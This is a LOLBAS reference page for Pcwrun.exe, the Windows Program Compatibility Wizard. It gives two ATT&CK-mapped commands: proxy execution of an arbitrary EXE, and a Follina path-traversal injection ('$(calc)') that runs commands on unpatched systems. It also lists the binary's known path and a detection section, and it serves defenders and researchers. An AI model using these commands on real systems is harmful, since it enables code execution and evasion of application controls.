LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Pcwrun.exe

View source

Program Compatibility Wizard

Execute
02COMMAND EXAMPLES
02ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

2 examples

Execute2

EXAMPLE 01T1218

Open the target .EXE file with the Program Compatibility Wizard.

COMMAND
Pcwrun.exe {PATH_ABSOLUTE:.exe}
USE CASE
Proxy execution of binary
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · EXE
EXAMPLE 02T1202

Leverage the MSDT follina vulnerability through Pcwrun to execute arbitrary commands and binaries. Note that this specific technique will not work on a patched system with the June 2022 Windows Security update.

COMMAND
Pcwrun.exe /../../$(calc).exe
USE CASE
Proxy execution of binary
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · EXE
02 / ON DISK

Known paths

C:\Windows\System32\pcwrun.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources
FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Pierre-Alexandre Braeken@pabraeken
Nasreddine Bencherchali@nas_bench